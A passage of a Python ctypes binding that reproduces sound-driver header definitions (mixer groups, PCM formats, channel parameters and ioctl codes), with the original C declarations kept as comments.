converter; # snd_mixer_element_switch3_info switch3; # snd_mixer_element_volume1_info volume1; # snd_mixer_element_volume2_info volume2; # snd_mixer_element_accu1_info accu1; # snd_mixer_element_accu2_info accu2; # snd_mixer_element_accu3_info accu3; # snd_mixer_element_mux1_info mux1; # snd_mixer_element_mux2_info mux2; # snd_mixer_element_tone_control1_info tc1; # snd_mixer_element_3d_effect1_info teffect1; # snd_mixer_element_pan_control1_info pc1; # snd_mixer_element_pre_effect1_info peffect1; # uint8_t reserved[128]; /* must be filled with zero */ # } data; # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_info_t; # typedef struct snd_mixer_element # { # snd_mixer_eid_t eid; # union # { # snd_mixer_element_switch1 switch1; # snd_mixer_element_switch2 switch2; # snd_mixer_element_switch3 switch3; # snd_mixer_element_volume1 volume1; # snd_mixer_element_volume2 volume2; # snd_mixer_element_accu3 accu3; # snd_mixer_element_mux1 mux1; # snd_mixer_element_mux2 mux2; # snd_mixer_element_tone_control1 tc1; # snd_mixer_element_3d_effect1 teffect1; # snd_mixer_element_pan_control1 pc1; # snd_mixer_element_pre_effect1 peffect1; # uint8_t reserved[128]; /* must be filled with zero */ # } data; # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_t; # typedef enum # { # SND_MIXER_CHN_FRONT_LEFT, # SND_MIXER_CHN_FRONT_RIGHT, # SND_MIXER_CHN_FRONT_CENTER, # SND_MIXER_CHN_REAR_LEFT, # SND_MIXER_CHN_REAR_RIGHT, # SND_MIXER_CHN_WOOFER, # SND_MIXER_CHN_SURR_LEFT, # SND_MIXER_CHN_SURR_RIGHT, # SND_MIXER_CHN_LAST = 31, # } snd_mixer_channel_t; # #define SND_MIXER_CHN_MASK_MONO (1<<SND_MIXER_CHN_FRONT_LEFT) # #define SND_MIXER_CHN_MASK_FRONT_LEFT (1<<SND_MIXER_CHN_FRONT_LEFT) # #define SND_MIXER_CHN_MASK_FRONT_RIGHT (1<<SND_MIXER_CHN_FRONT_RIGHT) # #define SND_MIXER_CHN_MASK_FRONT_CENTER (1<<SND_MIXER_CHN_FRONT_CENTER) # #define SND_MIXER_CHN_MASK_REAR_LEFT (1<<SND_MIXER_CHN_REAR_LEFT) # #define SND_MIXER_CHN_MASK_REAR_RIGHT (1<<SND_MIXER_CHN_REAR_RIGHT) # #define SND_MIXER_CHN_MASK_WOOFER (1<<SND_MIXER_CHN_WOOFER) # #define SND_MIXER_CHN_MASK_SURR_LEFT (1<<SND_MIXER_CHN_SURR_LEFT) # #define SND_MIXER_CHN_MASK_SURR_RIGHT (1<<SND_MIXER_CHN_SURR_RIGHT) # #define SND_MIXER_CHN_MASK_STEREO (SND_MIXER_CHN_MASK_FRONT_LEFT|SND_MIXER_CHN_MASK_FRONT_RIGHT) # #define SND_MIXER_CHN_MASK_4 (SND_MIXER_CHN_MASK_STEREO|SND_MIXER_CHN_MASK_REAR_LEFT|SND_MIXER_CHN_MASK_REAR_RIGHT) # #define SND_MIXER_CHN_MASK_5_1 (SND_MIXER_CHN_MASK_4|SND_MIXER_CHN_MASK_FRONT_CENTER|SND_MIXER_CHN_MASK_WOOFER) # #define SND_MIXER_CHN_MASK_7_1 (SND_MIXER_CHN_MASK_5_1|SND_MIXER_CHN_MASK_SURR_LEFT|SND_MIXER_CHN_MASK_SURR_RIGHT) # #define SND_MIXER_GRPCAP_VOLUME (1<<0) # #define SND_MIXER_GRPCAP_JOINTLY_VOLUME (1<<1) # #define SND_MIXER_GRPCAP_MUTE (1<<2) # #define SND_MIXER_GRPCAP_JOINTLY_MUTE (1<<3) # #define SND_MIXER_GRPCAP_CAPTURE (1<<4) # #define SND_MIXER_GRPCAP_JOINTLY_CAPTURE (1<<5) # #define SND_MIXER_GRPCAP_EXCL_CAPTURE (1<<6) # #define SND_MIXER_GRPCAP_PLAY_GRP (1<<29) # #define SND_MIXER_GRPCAP_CAP_GRP (1<<30) # #define SND_MIXER_GRPCAP_SUBCHANNEL (1<<31) # #define SND_MIXER_GRP_MAX_VOICES 32 class snd_mixer_gid_t(Structure): _fields_ = [ ('type', int32_t), ('name', c_char * 32), ('index', int32_t), ('reserved', uint8_t * 124), # must be filled with zero ('weight', int32_t), # Reserved used for internal sorting oprations ] class _mg_volume_names(Structure): _fields_ = [ ('front_left', uint32_t), ('front_right', uint32_t), ('front_center', uint32_t), ('rear_left', uint32_t), ('rear_right', uint32_t), ('woofer', uint32_t), ('reserved', uint8_t * 128), ] class _union_mg_volume(Union): _fields_ = [ ('values', uint32_t * 32), ('names', _mg_volume_names), ] class snd_mixer_group_t(Structure): _fields_ = [ ('gid', snd_mixer_gid_t), ('caps', uint32_t), ('channels', uint32_t), ('min', int32_t), ('max', int32_t), ('volume', _union_mg_volume), ('mute', uint32_t), ('capture', uint32_t), ('capture_group', int32_t), ('elements_size', int32_t), ('elements', int32_t), ('elements_over', int32_t), ('pelements', POINTER(snd_mixer_eid_t)), ('change_duration', uint16_t), # milliseconds ('spare', uint16_t), ('min_dB', int32_t), ('max_dB', int32_t), ('reserved', uint8_t * 120), # must be filled with zero ] # typedef struct snd_mixer_info_s # { # uint32_t type; # uint32_t attrib; # uint32_t elements; # uint32_t groups; # char id[64]; # char name[64]; # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_info_t; # /* Implied by.../ asound/lib/mixer/mixer.c */ # typedef struct snd_mixer_elements_s # { # int32_t elements, elements_size, elements_over; # uint8_t zero[4]; /* alignment -- zero fill */ # snd_mixer_eid_t *pelements; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_elements_t; # typedef struct snd_mixer_groups_s # { # int32_t groups, groups_size, groups_over; # uint8_t zero[4]; /* alignment -- zero fill */ # snd_mixer_gid_t *pgroups; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_groups_t; # typedef struct snd_mixer_routes_s # { # snd_mixer_eid_t eid; # int32_t routes, routes_size, routes_over; # uint8_t zero[4]; /* alignment -- zero fill */ # snd_mixer_eid_t *proutes; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_routes_t; # #define SND_MIXER_READ_REBUILD 0 # #define SND_MIXER_READ_ELEMENT_VALUE 1 # #define SND_MIXER_READ_ELEMENT_CHANGE 2 # #define SND_MIXER_READ_ELEMENT_ADD 3 # #define SND_MIXER_READ_ELEMENT_REMOVE 4 # #define SND_MIXER_READ_ELEMENT_ROUTE 5 # #define SND_MIXER_READ_GROUP_VALUE 6 # #define SND_MIXER_READ_GROUP_CHANGE 7 # #define SND_MIXER_READ_GROUP_ADD 8 # #define SND_MIXER_READ_GROUP_REMOVE 9 # typedef struct snd_mixer_read # { # int32_t cmd; # uint8_t zero[4]; /* alignment -- zero fill */ # union # { # snd_mixer_eid_t eid; # snd_mixer_gid_t gid; # uint8_t reserved[128]; /* must be filled with zero */ # } data; # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_read_t; # #define SND_MIXER_IOCTL_PVERSION _IOR ('R', 0x10, int) # #define SND_MIXER_IOCTL_INFO _IOR ('R', 0x20, snd_mixer_info_t) # #define SND_MIXER_IOCTL_ELEMENTS _IOWR('R', 0x30, snd_mixer_elements_t) # #define SND_MIXER_IOCTL_ELEMENT_INFO _IOWR('R', 0x31, snd_mixer_element_info_t) # #define SND_MIXER_IOCTL_ELEMENT_READ _IOWR('R', 0x32, snd_mixer_element_t) # #define SND_MIXER_IOCTL_ELEMENT_WRITE _IOWR('R', 0x33, snd_mixer_element_t) # #define SND_MIXER_IOCTL_GROUPS _IOWR('R', 0x40, snd_mixer_groups_t) # #define SND_MIXER_IOCTL_GROUP_READ _IOWR('R', 0x41, snd_mixer_group_t) # #define SND_MIXER_IOCTL_GROUP_WRITE _IOWR('R', 0x42, snd_mixer_group_t) # #define SND_MIXER_IOCTL_ROUTES _IOWR('R', 0x50, snd_mixer_routes_t) # #define SND_MIXER_IOCTL_GET_FILTER _IOR ('R', 0x60, snd_mixer_filter_t) # #define SND_MIXER_IOCTL_SET_FILTER _IOW ('R', 0x61, snd_mixer_filter_t) # #define SND_MIXER_IOCTL_AUDIO_DUCKING _IOWR('R', 0x62, int) # typedef struct snd_mixer_filter # { # uint32_t enable; /* bitfield of 1<<SND_MIXER_READ_* */ # uint8_t reserved[124]; /* must be filled with zero */ # } snd_mixer_filter_t; # /*****************/ # /*****************/ # /*** PCM ***/ # /*****************/ # /*****************/ SND_PCM_VERSION = SND_PROTOCOL_VERSION(ord('P'), 3, 0, 0) # /* # * Implied by.../ asound/lib/pcm/plugin/block.c(must be small as they # * index into an array of fd 's) # */ SND_PCM_CHANNEL_PLAYBACK = 0 SND_PCM_CHANNEL_CAPTURE = 1 SND_PCM_SFMT_U8 = 0 SND_PCM_SFMT_S8 = 1 SND_PCM_SFMT_U16_LE = 2 SND_PCM_SFMT_U16_BE = 3 SND_PCM_SFMT_S16_LE = 4 SND_PCM_SFMT_S16_BE = 5 SND_PCM_SFMT_U24_LE = 6 SND_PCM_SFMT_U24_BE = 7 SND_PCM_SFMT_S24_LE = 8 SND_PCM_SFMT_S24_BE = 9 SND_PCM_SFMT_U32_LE = 10 SND_PCM_SFMT_U32_BE = 11 SND_PCM_SFMT_S32_LE = 12 SND_PCM_SFMT_S32_BE = 13 SND_PCM_SFMT_A_LAW = 14 SND_PCM_SFMT_MU_LAW = 15 SND_PCM_SFMT_IEC958_SUBFRAME_LE = 16 SND_PCM_SFMT_IEC958_SUBFRAME_BE = 17 SND_PCM_SFMT_AC3 = 18 SND_PCM_SFMT_FLOAT_LE = 19 SND_PCM_SFMT_FLOAT_BE = 20 SND_PCM_SFMT_FLOAT64_LE = 22 SND_PCM_SFMT_FLOAT64_BE = 23 SND_PCM_SFMT_IMA_ADPCM = 24 SND_PCM_SFMT_GSM = 25 SND_PCM_SFMT_MPEG = 26 SND_PCM_SFMT_SPECIAL = 27 # #ifdef SND_LITTLE_ENDIAN # #define SND_PCM_SFMT_U16 SND_PCM_SFMT_U16_LE # #define SND_PCM_SFMT_S16 SND_PCM_SFMT_S16_LE # #define SND_PCM_SFMT_U24 SND_PCM_SFMT_U24_LE # #define SND_PCM_SFMT_S24 SND_PCM_SFMT_S24_LE # #define SND_PCM_SFMT_U32 SND_PCM_SFMT_U32_LE # #define SND_PCM_SFMT_S32 SND_PCM_SFMT_S32_LE # #define SND_PCM_SFMT_IEC958_SUBFRAME SND_PCM_SFMT_IEC958_SUBFRAME_LE # #define SND_PCM_SFMT_FLOAT SND_PCM_SFMT_FLOAT_LE # #define SND_PCM_SFMT_FLOAT64 SND_PCM_SFMT_FLOAT64_LE # #else # #define SND_PCM_SFMT_U16 SND_PCM_SFMT_U16_BE # #define SND_PCM_SFMT_S16 SND_PCM_SFMT_S16_BE # #define SND_PCM_SFMT_U24 SND_PCM_SFMT_U24_BE # #define SND_PCM_SFMT_S24 SND_PCM_SFMT_S24_BE # #define SND_PCM_SFMT_U32 SND_PCM_SFMT_U32_BE # #define SND_PCM_SFMT_S32 SND_PCM_SFMT_S32_BE # #define SND_PCM_SFMT_IEC958_SUBFRAME SND_PCM_SFMT_IEC958_SUBFRAME_BE # #define SND_PCM_SFMT_FLOAT SND_PCM_SFMT_FLOAT_BE # #define SND_PCM_SFMT_FLOAT64 SND_PCM_SFMT_FLOAT64_BE # #endif # #define SND_PCM_FMT_U8 (1<<SND_PCM_SFMT_U8) # #define SND_PCM_FMT_S8 (1<<SND_PCM_SFMT_S8) # #define SND_PCM_FMT_U16_LE (1<<SND_PCM_SFMT_U16_LE) # #define SND_PCM_FMT_U16_BE (1<<SND_PCM_SFMT_U16_BE) # #define SND_PCM_FMT_S16_LE (1<<SND_PCM_SFMT_S16_LE) # #define SND_PCM_FMT_S16_BE (1<<SND_PCM_SFMT_S16_BE) # #define SND_PCM_FMT_U24_LE (1<<SND_PCM_SFMT_U24_LE) # #define SND_PCM_FMT_U24_BE (1<<SND_PCM_SFMT_U24_BE) # #define SND_PCM_FMT_S24_LE (1<<SND_PCM_SFMT_S24_LE) # #define SND_PCM_FMT_S24_BE (1<<SND_PCM_SFMT_S24_BE) # #define SND_PCM_FMT_U32_LE (1<<SND_PCM_SFMT_U32_LE) # #define SND_PCM_FMT_U32_BE (1<<SND_PCM_SFMT_U32_BE) # #define SND_PCM_FMT_S32_LE (1<<SND_PCM_SFMT_S32_LE) # #define SND_PCM_FMT_S32_BE (1<<SND_PCM_SFMT_S32_BE) # #define SND_PCM_FMT_A_LAW (1<<SND_PCM_SFMT_A_LAW) # #define SND_PCM_FMT_MU_LAW (1<<SND_PCM_SFMT_MU_LAW) # #define SND_PCM_FMT_IEC958_SUBFRAME_LE (1<<SND_PCM_SFMT_IEC958_SUBFRAME_LE) # #define SND_PCM_FMT_IEC958_SUBFRAME_BE (1<<SND_PCM_SFMT_IEC958_SUBFRAME_BE) # #define SND_PCM_FMT_AC3 (1<<SND_PCM_SFMT_AC3) # #define SND_PCM_FMT_FLOAT_LE (1<<SND_PCM_SFMT_FLOAT_LE) # #define SND_PCM_FMT_FLOAT_BE (1<<SND_PCM_SFMT_FLOAT_BE) # #define SND_PCM_FMT_FLOAT64_LE (1<<SND_PCM_SFMT_FLOAT64_LE) # #define SND_PCM_FMT_FLOAT64_BE (1<<SND_PCM_SFMT_FLOAT64_BE) # #define SND_PCM_FMT_IMA_ADPCM (1<<SND_PCM_SFMT_IMA_ADPCM) # #define SND_PCM_FMT_GSM (1<<SND_PCM_SFMT_GSM) # #define SND_PCM_FMT_MPEG (1<<SND_PCM_SFMT_MPEG) # #define SND_PCM_FMT_SPECIAL (1<<SND_PCM_SFMT_SPECIAL) # #ifdef SND_LITTLE_ENDIAN # #define SND_PCM_FMT_U16 SND_PCM_FMT_U16_LE # #define SND_PCM_FMT_S16 SND_PCM_FMT_S16_LE # #define SND_PCM_FMT_U24 SND_PCM_FMT_U24_LE # #define SND_PCM_FMT_S24 SND_PCM_FMT_S24_LE # #define SND_PCM_FMT_U32 SND_PCM_FMT_U32_LE # #define SND_PCM_FMT_S32 SND_PCM_FMT_S32_LE # #define SND_PCM_FMT_IEC958_SUBFRAME SND_PCM_FMT_IEC958_SUBFRAME_LE # #define SND_PCM_FMT_FLOAT SND_PCM_FMT_FLOAT_LE # #define SND_PCM_FMT_FLOAT64 SND_PCM_FMT_FLOAT64_LE # #else # #define SND_PCM_FMT_U16 SND_PCM_FMT_U16_BE # #define SND_PCM_FMT_S16 SND_PCM_FMT_S16_BE # #define SND_PCM_FMT_U24 SND_PCM_FMT_U24_BE # #define SND_PCM_FMT_S24 SND_PCM_FMT_S24_BE # #define SND_PCM_FMT_U32 SND_PCM_FMT_U32_BE # #define SND_PCM_FMT_S32 SND_PCM_FMT_S32_BE # #define SND_PCM_FMT_IEC958_SUBFRAME SND_PCM_FMT_IEC958_SUBFRAME_BE # #define SND_PCM_FMT_FLOAT SND_PCM_FMT_FLOAT_BE # #define SND_PCM_FMT_FLOAT64 SND_PCM_FMT_FLOAT64_BE # #endif # #define SND_PCM_INFO_PLAYBACK 0x001 # #define SND_PCM_INFO_CAPTURE 0x002 # #define SND_PCM_INFO_DUPLEX 0x010 # #define SND_PCM_INFO_DUPLEX_RATE 0x020 # #define SND_PCM_INFO_DUPLEX_MONO 0x040 # #define SND_PCM_INFO_SHARED 0x100 # #define SND_PCM_INFO_UNSECURE 0x200 # #define SND_PCM_INFO_RESTRICTED 0x400 SND_PCM_MODE_UNKNOWN = 0 SND_PCM_MODE_BLOCK = 1 SND_PCM_MODE_STREAM = 2 SND_PCM_MODE_MASK = 0x0000FFFF SND_PCM_MODE_FLAG_PROTECTED_CONTENT = (1<<16) SND_PCM_MODE_FLAG_ENABLE_PROTECTION = (1<<17) SND_PCM_MODE_FLAG_REQUIRE_PROTECTION = (1<<18) # #define SND_SRC_MODE_NORMAL 0 # #define SND_SRC_MODE_ACTUAL 1 # #define SND_SRC_MODE_ASYNC 2 # #define SND_SRC_MODE_PITCH 3 # #define SND_PCM_RATE_8000 (1<<1) # #define SND_PCM_RATE_11025 (1<<2) # #define SND_PCM_RATE_16000 (1<<3) # #define SND_PCM_RATE_22050 (1<<4) # #define SND_PCM_RATE_32000 (1<<5) # #define SND_PCM_RATE_44100 (1<<6) # #define SND_PCM_RATE_48000 (1<<7) # #define SND_PCM_RATE_88200 (1<<8) # #define SND_PCM_RATE_96000 (1<<9) # #define SND_PCM_RATE_176400 (1<<10) # #define SND_PCM_RATE_192000 (1<<11) # #define SND_PCM_RATE_KNOT (1<<30) # #define SND_PCM_RATE_CONTINUOUS (1<<31) # #define SND_PCM_RATE_8000_44100 0x07E # #define SND_PCM_RATE_8000_48000 0x0FE # #define SND_PCM_CHNINFO_BLOCK 0x00001 # #define SND_PCM_CHNINFO_STREAM 0x00002 # #define SND_PCM_CHNINFO_MMAP 0x00010 # #define SND_PCM_CHNINFO_INTERLEAVE 0x00020 # #define SND_PCM_CHNINFO_NONINTERLEAVE 0x00040 # #define SND_PCM_CHNINFO_BLOCK_TRANSFER 0x00080 # #define SND_PCM_CHNINFO_PAUSE 0x00100 # #define SND_PCM_CHNINFO_MMAP_VALID 0x00200 # #define SND_PCM_CHNINFO_PROTECTED 0x00400 # #define SND_PCM_CHNINFO_SECURE 0x00800 # #define SND_PCM_CHNINFO_RESTRICTED 0x01000 /* channel data could be muted in circumstances that the driver choose to */ # #define SND_PCM_FILL_NONE 1 # #define SND_PCM_FILL_SILENCE 2 # #define SND_PCM_STATUS_NOTREADY 0 # #define SND_PCM_STATUS_READY 1 # #define SND_PCM_STATUS_PREPARED 2 # #define SND_PCM_STATUS_RUNNING 3 # #define SND_PCM_STATUS_UNDERRUN 4 # #define SND_PCM_STATUS_OVERRUN 5 # #define SND_PCM_STATUS_UNSECURE 6 # #define SND_PCM_STATUS_PAUSED 10 # #define SND_PCM_STATUS_ERROR 10000 /* HW error, need to prepare the stream */ # #define SND_PCM_STATUS_CHANGE 10001 /* stream change, need to param the stream */ # #define SND_PCM_STATUS_PREEMPTED 10002 /* stream was preempted by a higher priority stream */ SND_PCM_START_DATA = 1 SND_PCM_START_FULL = 2 SND_PCM_START_GO = 3 SND_PCM_STOP_STOP = 1 SND_PCM_STOP_ROLLOVER = 2 UINT_MAX = 2 ** (8 * sizeof(c_uint)) - 1 SND_PCM_BOUNDARY = UINT_MAX SND_PCM_PARAMS_BAD_MODE = 1 SND_PCM_PARAMS_BAD_START = 2 SND_PCM_PARAMS_BAD_STOP = 3 SND_PCM_PARAMS_BAD_FORMAT = 4 SND_PCM_PARAMS_BAD_RATE = 5 SND_PCM_PARAMS_BAD_VOICES = 6 SND_PCM_PARAMS_NO_CHANNEL = 10 class snd_pcm_info_t(Structure): _fields_ = [ ('type', uint32_t), # soundcard type ('flags', uint32_t), # see SND_PCM_INFO_XXXX ('id', uint8_t * 64), # ID of this PCM device ('name', c_char * 80), # name of this device ('playback', int32_t), # playback subdevices=-1 ('capture', int32_t), # capture subdevices=-1 ('card', int32_t), ('device', int32_t), ('shared_card', int32_t), ('shared_device', int32_t), ('reserved', uint8_t * 128), # must be filled with zero ] class snd_pcm_sync_t(Union): _fields_ = [ ('id', uint8_t * 16), ('id16', uint16_t * 8), ('id32', uint32_t * 4), ('id64', uint64_t * 2), ] class snd_pcm_digital_t(Structure): _fields_ = [ ('dig_status', uint8_t * 24), # AES/EBU/IEC958 channel status bits ('dig_subcode', uint8_t * 147), # AES/EBU/IEC958 subcode bits # Note: supposed to be a bitfield :1 ('dig_valid', uint8_t), # must be non-zero to accept these values ('dig_subframe', uint8_t * 4), # AES/EBU/IEC958 subframe bits ('dig_reserved', uint8_t * 128), # must be filled with zero ] class snd_pcm_channel_info_t(Structure): _fields_ = [ ('subdevice', int32_t), # subdevice number ('subname', c_char * 36), # subdevice name ('channel', int32_t), # channel information ('zero1', int32_t), # filler ('zero2', int32_t * 4), # filler ('flags', uint32_t), # see to SND_PCM_CHNINFO_XXXX ('formats', uint32_t), # supported formats ('rates', uint32_t), # hardware rates ('min_rate', int32_t), # min rate (in Hz) ('max_rate', int32_t), # max rate (in Hz) ('min_voices', int32_t), # min voices ('max_voices', int32_t), # max voices ('max_buffer_size', int32_t), # max buffer size in bytes ('min_fragment_size', int32_t), # min fragment size in bytes ('max_fragment_size', int32_t), # max fragment size in bytes ('fragment_align', int32_t), # align fragment value ('fifo_size', int32_t), # stream FIFO size in bytes ('transfer_block_size', int32_t), # bus transfer block size in bytes ('zero3', uint8_t * 4), # alignment -- zero fill ('dig_mask', snd_pcm_digital_t), # AES/EBU/IEC958 supported bits ('zero4', uint32_t), # filler ('mixer_device', int32_t), # mixer device ('mixer_eid', snd_mixer_eid_t), # mixer element identification ('mixer_gid', snd_mixer_gid_t), # mixer group identification ('reserved', uint8_t * 128), # must be filled with zero ] # typedef struct snd_pcm_channel_info # { # int32_t subdevice; /* subdevice number */ # char subname[36]; /* subdevice name */ # int32_t channel; /* channel information */ # int32_t zero1; /* filler */ # int32_t zero2[4]; /* filler */ # uint32_t flags; /* see to SND_PCM_CHNINFO_XXXX */ # uint32_t formats; /* supported formats */ # uint32_t rates; /* hardware rates */ # int32_t min_rate; /* min rate (in Hz) */ # int32_t max_rate; /* max rate (in Hz) */ # int32_t min_voices; /* min voices */ # int32_t max_voices; /* max voices */ # int32_t max_buffer_size; /* max buffer size in bytes */ # int32_t min_fragment_size; /* min fragment size in bytes */ # int32_t max_fragment_size; /* max fragment size in bytes */ # int32_t fragment_align; /* align fragment value */ # int32_t fifo_size; /* stream FIFO size in bytes */ # int32_t transfer_block_size; /* bus transfer block size in bytes */ # uint8_t zero3[4]; /* alignment -- zero fill */ # snd_pcm_digital_t dig_mask; /* AES/EBU/IEC958 supported bits */ # uint32_t zero4; /* filler */ # int32_t mixer_device; /* mixer device */ # snd_mixer_eid_t mixer_eid; /* mixer element identification */ # snd_mixer_gid_t mixer_gid; /* mixer group identification */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_pcm_channel_info_t; class snd_pcm_format_t(Structure): _fields_ = [ ('interleave', uint32_t), ('format', int32_t), ('rate', int32_t), ('voices', int32_t), ('special', int32_t), ('reserved', uint8_t * 124), ] # typedef struct snd_pcm_voice_conversion # { # uint32_t app_voices; # uint32_t hw_voices; # uint32_t matrix[32]; # } snd_pcm_voice_conversion_t; class _cp_stream(Structure): _fields_ = [ ('queue_size', int32_t), ('fill', int32_t), ('max_fill', int32_t), ('reserved', uint8_t * 124), ] class _cp_block(Structure): _fields_ = [ ('frag_size', int32_t), ('frags_min', int32_t), ('frags_max', int32_t), ('frags_buffered_max', uint32_t), # When set, as many as this fragments will be used in long buffered mode ('reserved', uint8_t * 120), # must be filled with zero ] class _union_cp(Union): _fields_ = [ ('stream', _cp_stream), ('block', _cp_block), ('reserved', uint8_t * 128), # must be filled with zero ] class snd_pcm_channel_params_t(Structure): _fields_ = [ ('channel', int32_t), ('mode', int32_t), ('sync', snd_pcm_sync_t), # hardware synchronization ID ('format', snd_pcm_format_t), ('digital', snd_pcm_digital_t), ('start_mode', int32_t), ('stop_mode', int32_t), ('time', int32_t, 1), ('ust_time', int32_t, 1), ('why_failed', uint32_t), # SND_PCM_PARAMS_BAD_??? ('buf', _union_cp), ('sw_mixer_subchn_name', c_char * 32), # sw_mixer subchn name override ('cross_core_handle', uint32_t), # Cross-core handle for the audio channel ('reserved', uint8_t * 92), # must be filled with zero ] class _cs_stream(Structure): _fields_ = [ ('queue_size', int32_t), ('reserved', uint8_t * 124), ] class _cs_block(Structure): _fields_ = [ ('frag_size', int32_t), ('frags', int32_t), ('frags_min', int32_t), ('frags_max', int32_t), ('max_frag_size', uint32_t), # When set, as many as this fragments will be used in long buffered mode ('reserved', uint8_t * 124), # must be filled with zero ] class _union_cs(Union): _fields_ = [ ('stream', _cs_stream), ('block', _cs_block), ('reserved', uint8_t * 128), # must be filled with zero ] class snd_pcm_channel_setup_t(Structure): _fields_ = [ ('channel', int32_t), ('mode', int32_t), ('format', snd_pcm_format_t), ('digital', snd_pcm_digital_t), ('buf', _union_cs), ('msbits_per_sample', int16_t), ('pad1', int16_t), ('mixer_device', int32_t), # mixer device ('mixer_eid', POINTER(snd_mixer_eid_t)), # pcm source mixer element ('mixer_gid', POINTER(snd_mixer_gid_t)), # lowest level mixer group subchn specific ('mmap_valid', uint8_t, 1), # channel can use mmapped access ('mmap_active', uint8_t, 1), # channel is using mmaped transfers ('mixer_card', int32_t), # mixer card ('reserved', uint8_t * 104), # must be filled with zero ] class snd_pcm_channel_status_t(Structure): _fields_ = [ ('channel', int32_t), # channel information ('mode', int32_t), # transfer mode ('status', int32_t), # channel status-SND_PCM_STATUS_XXXX ('scount', uint32_t), # number of bytes processed from playback/capture start ('stime', timeval), # time when playback/capture was started ('ust_time', uint32_t), # UST time when playback/capture was started ('frag', int32_t), # current fragment ('count', int32_t), # number of bytes in queue/buffer ('free', int32_t), # bytes in queue still free ('underrun', int32_t), # count of underruns (playback) from last status ('overrun', int32_t), # count of overruns (capture) from last status ('overrange', int32_t), # count of ADC (capture) overrange detections from last status ('subbuffered', uint32_t), # bytes sub buffered in the pluggin interface ('reserved', uint8_t * 124), # must be filled with zero ] # #define QNX_SHM_NAME_LEN (4+8+1+4+1+6) /* "/snd" + 8 pid in hex + # * "-" + 4 cntr in dex + null + alignment on 64-bit */ # typedef struct snd_pcm_mmap_info_s # { # char dmabuf_name[QNX_SHM_NAME_LEN]; # char dmactl_name[QNX_SHM_NAME_LEN]; # int32_t size; # int32_t ctl_size; # uint32_t driver_flags; /* SEE ADO_SHMBUF_DMA_???? */ # uint32_t user_flags; /* SEE ADO_SHMBUF_DMA_???? */ # uint8_t reserved[112]; /* must be filled with zero */ # } snd_pcm_mmap_info_t; # typedef struct # { # volatile int32_t status; /* read only */ # volatile uint32_t frag_io; /* read only */ # volatile uint32_t block; /* read only */ # volatile uint32_t expblock; /* read write */ # volatile int32_t voices; /* read only */ # volatile int32_t frag_size; /* read only */ # volatile int32_t frags; /* read only */ # uint8_t reserved[124]; /* must be filled with zero */ # } snd_pcm_mmap_io_status_t; # typedef struct # { # volatile uint32_t number; /* read only */ # volatile int32_t addr; /* read only */ # volatile int32_t voice; /* read only */ # volatile int8_t data; /* read write */ # volatile int8_t io; /* read only */ # uint8_t res[2]; # } snd_pcm_mmap_fragment_t; # typedef struct # { # snd_pcm_mmap_io_status_t status; # snd_pcm_mmap_fragment_t fragments[0]; /* This array is dynamic. See the mmap_io_status.frags variable for its length. */ # } snd_pcm_mmap_control_t; # #define SND_PCM_IOCTL_PVERSION _IOR ('A', 0x10, int) # #define SND_PCM_IOCTL_INFO _IOR ('A', 0x20, snd_pcm_info_t) # #define SND_PCM_IOCTL_CHANNEL_DRAIN _IO ('A', 0x30) # #define SND_PCM_IOCTL_CHANNEL_FLUSH _IO ('A', 0x31) # #define SND_PCM_IOCTL_CHANNEL_GO _IO ('A', 0x32) # #define SND_PCM_IOCTL_CHANNEL_INFO _IOR ('A', 0x33, snd_pcm_channel_info_t) # #define SND_PCM_IOCTL_CHANNEL_PARAMS _IOWR('A', 0x34, snd_pcm_channel_params_t) # #define SND_PCM_IOCTL_CHANNEL_PAUSE _IOW ('A', 0x35, int) # #define SND_PCM_IOCTL_CHANNEL_PREFER _IO ('A', 0x36) # #define SND_PCM_IOCTL_CHANNEL_PREPARE _IO ('A', 0x37) # #define SND_PCM_IOCTL_CHANNEL_SETUP _IOR ('A', 0x38, snd_pcm_channel_setup_t) # #define SND_PCM_IOCTL_CHANNEL_STATUS _IOR ('A', 0x39, snd_pcm_channel_status_t) # #define SND_PCM_IOCTL_CHANNEL_PARAM_FIT _IOWR('A', 0x40, snd_pcm_channel_params_t) # #define SND_PCM_IOCTL_MMAP_INFO _IOR ('A', 0x50, snd_pcm_mmap_info_t) # #define SND_PCM_IOCTL_SYNC_GO _IOW ('A', 0x60, snd_pcm_sync_t) # #define SND_PCM_IOCTL_CHANNEL_AUDIOMAN_HANDLE _IOW ('A', 0x70, uint32_t) # #define SND_PCM_IOCTL_LOGGING _IOWR('A', 0x71, uint32_t) # #define SND_PCM_IOCTL_NEW_LINK_GROUP _IO ('A', 0x72) # #define SND_PCM_IOCTL_ADD_LINK_GROUP _IO ('A', 0x73) # #define SND_PCM_IOCTL_REMOVE_LINK_GROUP _IO ('A', 0x74) # #define SND_PCM_IOCTL_END_LINK_GROUP _IO ('A', 0x75) # #define SND_PCM_LB_VERSION SND_PROTOCOL_VERSION('L',3,0,0) # #define SND_PCM_LB_STREAM_MODE_PACKET 100 # #define SND_PCM_LB_STREAM_MODE_RAW 101 # #define SND_PCM_LB_TYPE_DATA 301 # #define SND_PCM_LB_TYPE_FORMAT 302 # #define SND_PCM_LB_TYPE_POSITION 303 # #define SND_PCM_LB_IOCTL_PVERSION _IOR ('L', 0x10, int) # #define SND_PCM_LB_IOCTL_FORMAT _IOR ('L', 0x30, snd_pcm_format_t) # #define SND_PCM_LB_IOCTL_STREAM_MODE _IOW ('L', 0x40, int) # typedef struct snd_pcm_loopback_header_s # { # int32_t size; # int32_t type; # uint8_t reserved[128]; /* must be filled with zero */ # } snd_pcm_loopback_header_t; # typedef struct snd_pcm_loopback_status # { # snd_pcm_channel_status_t status; # uint32_t lost; # uint8_t reserved[124]; /* must be filled with zero */ # } snd_pcm_loopback_status_t; # #define SND_PCM_LB_IOCTL_STATUS 212 # /*****************/ # /*****************/ # /*** RAW MIDI ***/ # /*****************/ # /*****************/ # #define SND_RAWMIDI_VERSION SND_PROTOCOL_VERSION('W',3,0,0) # #define SND_RAWMIDI_CHANNEL_INPUT 0 # #define 